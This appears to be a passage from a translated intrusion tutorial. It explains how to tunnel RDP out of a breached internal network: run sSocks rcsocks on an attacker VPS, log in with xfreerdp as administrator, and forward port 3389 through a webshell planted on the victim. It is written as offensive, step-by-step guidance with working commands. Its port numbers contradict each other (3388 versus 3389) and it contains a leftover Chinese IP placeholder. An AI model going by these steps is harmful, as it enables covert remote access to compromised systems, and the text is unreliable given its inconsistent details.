
First, use sSocks on the VPS to set up the port mapping between 3388 and 3389 so that traffic can flow through:
root @ kali:〜#/ root / ssocks-0.0.14 / src / rcsocks -l 3389 -p 3389 -vv
Second, connect to port 3388 of the VPS from the attacking end. freerdp is recommended over rdesktop, because the former supports remote and local connection waiting, text copy and paste, and mounting remote file systems:
root@kali:~#xfreerdp /u:administrator /p:admin /v:【你的ip】:3389 Third, immediately execute port forwarding on the main webshell; you may need to click start several times in a row:
Note: the whole process is sensitive to the order of the steps. Once the rcsocks port mapping is in place on the VPS, you can leave it alone. First run xfreerdp on the attacking end and keep its session alive, then forward the internal 3389 port on the webshell.